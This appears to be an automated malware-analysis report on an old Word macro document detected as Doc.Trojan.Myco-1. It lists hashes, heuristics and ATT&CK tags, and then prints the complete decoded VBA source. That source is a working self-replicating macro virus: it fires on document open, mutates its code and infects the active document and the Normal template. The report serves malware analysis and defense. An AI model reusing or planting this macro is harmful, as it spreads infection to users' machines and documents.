Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0acc47c8b048770…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-04-14 23:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f4e885f17fc78a92ce31d12157b58900 SHA-1: d00e06b92edeca59a4d323538e4a3cce5271534f SHA-256: e0acc47c8b048770f9df1f3e7fa8f61b2a9bcd2a1e63e25d0a24d83f4c19a202
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code when a document is opened. The macro code appears to be designed to obfuscate and potentially rewrite parts of itself, suggesting an attempt to evade detection or prepare for further malicious actions. The ClamAV detection of 'Doc.Trojan.Myco-1' strongly indicates malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Myco-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myco-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2153 bytes
SHA-256: acffe9974ae5a1d67b9ed4110a030b48e8000bf68c79ad6f0b714abb899dfe9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim A(1 To 3) As String
Dim B(1 To 3) As String
Dim C(1 To 3) As String
A(1) = "Word.ActiveDocument"
A(2) = "Application.ActiveDocument"
A(3) = "Word.Application.ActiveDocument"
B(1) = "Word.NormalTemplate"
B(2) = "Application.NormalTemplate"
B(3) = "Word.Application.NormalTemplate"
C(1) = ".VBProject.VBComponents(1)"
C(2) = ".VBProject.VBComponents.Item(1)"
C(3) = ".VBProject.VBComponents.Item(""ThisDocument"")"
Host = "MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 18) & vbCrLf & Host & vbCrLf & ActiveCode1 & vbCrLf & ActiveCode2 & vbCrLf & NormalCode1 & vbCrLf & NormalCode2 & vbCrLf & ""End Sub"""
ActiveCode1 = A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.DeleteLines 1, " & A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.CountOfLines"
ActiveCode2 = A(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.AddFromString MyCode"
NormalCode1 = B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.DeleteLines 1, " & B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.CountOfLines"
NormalCode2 = B(Int((Rnd * 2) + 1)) & C(Int((Rnd * 2) + 1)) & ".CodeModule.AddFromString MyCode"
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 18) & vbCrLf & Host & vbCrLf & ActiveCode1 & vbCrLf & ActiveCode2 & vbCrLf & NormalCode1 & vbCrLf & NormalCode2 & vbCrLf & "End Sub"
Word.ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Application.ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Word.ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Application.NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
End Sub